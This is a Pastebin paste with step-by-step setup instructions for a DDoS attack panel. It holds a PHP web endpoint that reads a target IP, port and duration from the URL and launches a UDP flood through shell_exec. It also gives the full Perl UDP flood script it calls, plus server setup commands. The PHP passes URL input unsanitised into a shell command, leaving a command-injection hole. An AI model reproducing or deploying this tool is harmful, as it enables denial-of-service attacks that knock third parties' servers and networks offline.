Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- nano send.php
- paste this code:
- <?php
- $attacktype = $_GET["method"];
- $ip = $_GET["ip"];
- if (empty($ip)) { $ip = $_GET["host"]; }
- $port = $_GET["port"];
- $time = $_GET["time"];
- $proc = hash('crc32', $ip);
- if (empty($ip) || empty($port) || empty($time) || empty($attacktype))
- {
- die('<span style="font: normal 16px Tahoma; color: red;">Incorrect Method, Valid Methods : UDP </span>');
- }
- if (($attacktype == "UDP") || ($attacktype == "udp"))
- {
- $output = shell_exec("perl new.pl $ip $port 4094 $time");
- print("Attack Sent on $ip:80 For $time using $attacktype!");
- }
- if (($attacktype == "STOP") || ($attacktype == "STOP"))
- {
- $output = shell_exec("sudo pkill -f $proc ");
- print("Attack Sent on $ip:80 For $time using $attacktype!");
- }
- ?>
- Then press ctrl x then Y
- after that type nano new.pl
- this is just a basic UDP script which will hit accordingly to your server. We will just use this basic script for now.
- put this code into the editor:
- #!/usr/bin/perl
- ##############
- # udp flood.
- ##############
- use Socket;
- use strict;
- if ($#ARGV != 3) {
- print " \n";
- print "SMASH phunk";
- print "Command new.pl <ip> <port> <packets> <temps(en secondes)>\n";
- print " ip:port:packets:time\n";
- print " SMASH ROUTER\n";
- print " SKYPE: street.light.\n";
- exit(1);
- }
- my ($ip,$port,$size,$time) = @ARGV;
- my ($iaddr,$endtime,$psize,$pport);
- $iaddr = inet_aton("$ip") or die "Impossible de se connecter à $ip\n";
- $endtime = time() + ($time ? $time : 1000000);
- socket(flood, PF_INET, SOCK_DGRAM, 17);
- print "DDOS INITIATED ON $ip PORT " . ($port ? $port : "random") . ", " .
- ($size ? "$size-byte" : "random size") . " packets" .
- ($time ? " FOR $time secondes" : "") . "\n";
- print "Attaque arrêtée avec Ctrl-C\n" unless $time;
- for (;time() <= $endtime;) {
- $psize = $size ? $size : int(rand(1500-64)+64) ;
- $pport = $port ? $port : int(rand(65500))+1;
- send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}
- Then Press Ctrl X then Y
- then type the following
- chmod 777 new.pl
- service httpd restart
- service httpd start
- this should set up the scripts correctly if you did everything right. to see if so, type ifconfig and copy your servers ip address or just copy the ip address else where and put this in your webbrowser:
- http://myserverip/send.php?
- replace "myserverip" with your server ip that is the only thing you need to change. If red letters are shown then you set it up correctly and it is ready to use. Simply open the application but change the myserverip to your servers ip.
- Then after you have done that we will need to let the program check if the server is online enter the following commands:
- cd /var/www/html
- nano status.txt
- write: online
- write only online nothing else just online
- after this ctrl x then Y
- you should be all set up. ~No Bull Shit Panel
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement